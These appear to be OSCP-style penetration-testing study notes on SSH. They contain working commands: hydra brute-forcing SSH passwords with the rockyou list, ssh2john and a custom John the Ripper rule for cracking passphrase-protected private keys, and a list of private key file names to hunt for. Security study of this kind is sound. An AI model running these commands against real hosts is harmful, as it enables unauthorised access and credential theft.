> For the complete documentation index, see [llms.txt](https://oscp.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.adot8.com/services/ssh-less-than-tcp-22-greater-than.md).

# SSH \<tcp 22>

{% hint style="info" %}
Bruteforce with hydra in the background if you think you have a valid username, it will save you so much time.... trust me.
{% endhint %}

```
hydra -vV -l offsec -P ~/rockyou.txt 192.168.204.122 -I -t 10 ssh
```

#### Password protected ssh keys

```
ssh2john id_rsa > ssh.hash
```

<pre><code><strong>$ vi ssh.rule
</strong><strong>[List.Rules:sshRules]
</strong>c $1 $3 $7 $!
c $1 $3 $7 $@
c $1 $3 $7 $#
</code></pre>

```
sudo sh -c 'cat /home/adot/oscp/course/misc/ssh.rule >> /etc/john/john.conf'
```

```
john --wordlist=./ssh.pass --rules=sshRules ssh.hash
```

```
id_rsa
id_ecdsa
id_ecdsa_sk
id_ed25519
id_ed25519_sk
id_dsa
```